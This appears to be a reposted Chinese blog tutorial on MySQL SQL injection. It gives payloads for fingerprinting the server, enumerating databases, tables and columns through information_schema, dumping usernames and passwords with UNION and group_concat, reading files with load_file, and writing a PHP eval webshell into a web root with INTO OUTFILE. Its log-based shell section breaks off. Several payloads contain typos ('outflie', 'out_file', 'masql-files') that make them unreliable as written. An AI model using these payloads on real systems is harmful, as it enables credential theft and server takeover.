zoukankan      html  css  js  c++  java
  • Mysql数据库注入

    一、有回显注入

    1.信息收集

    当发现存在sql注入后,首先应该进行查看数据库版本信息以及系统信息,确定后期渗透路径。

    system_user() 系统用户名
    user() 用户名
    current_user 当前用户名
    session_user()连接数据库的用户名
    database() 数据库名
    version() MYSQL数据库版本
    @@datadir 读取数据库路径
    @@basedir MYSQL 安装路径
    @@version_compile_os 操作系统

    2.注入查询账号密码

    查询全部数据库名

    schema_name from information_schema.schemata limit 0,1//
    schema_name from information_schema.schemata(可多行显示的情况下)
    group_concat(schema_name) from information_schema.schemata 

    查寻表名

    table_name from information_schema.tables where table_schema='数据库名' limit 1,1或
    table_name from information_schema.tables where table_schema='数据库名'
    group_concat(table_name) from information_schema.tables where table_schema='数据库名'//单引号可替换编码处理,如hex编码

    查字段

    column_name from information_schema.columns where table_name='表名' and table_schema='库名' limit 0,1
    column_name from information_schema.columns where table_name='表名' and table_schema='库名'
    group_concat(column_name) from information_schema.columns where table_name='表名' and table_schema='数据库名'
    group_concat(column_name) from information_schema.columns where table_name='表名'

    查询数据库

    select 1,2,3,字段1,5,字段2,7,8 from 数据库.表
    union select 1,group_concat(username),group_concat(password) from 表名
    group_concat(id,username,password) from 表名

    3.getshell

    想要在数据库写入 shell必要条件有读写权限,以及已知路径

    绝对路径:可以通过报错,404等界面获得

    查看读写是否开启:

    @@global.secure_file_priv
    secure_file_priv的值为null,表示限制mysqld不允许导入/导出
    secure_file_priv的值为D:/,表示限制mysqld的导入/导出只能发生在D盘目录下
    secure_file_priv没有具体值时,表示不对mysqld的导入/导出做限制

    读文件:

    load_file('c:/inetpub/wwwroot/index.php')

    写文件:

    "<?php @eval($_GET[x]);?>" into outfile 'C:/Inetpub/wwwroot/cc.php'

    3.1写入shell

    首先查看可写入路径

    尝试写入phpinfo 使用函数 union select <?php phpinfo()?> into outflie '/var/masql-files/info.php'

     使用load_file函数读取:union select out_file ('var/mysql-files/info.php')

    3.2利用日志写入shell

     
  • 相关阅读:
    Mysql锁
    开源的13个Spring Boot 优秀学习项目!超53K星,一网打尽!
    大批量数据处理方法
    位运算题目
    限流算法
    linux进程管理之进程创建(三)
    Linux进程管理之状态(二)
    linux进程管理之概念(一)
    #error 、 #line 和 #pragma 的使用
    #undef 的用法
  • 原文地址:https://www.cnblogs.com/Shepherd-boy/p/15065273.html
Copyright © 2011-2022 走看看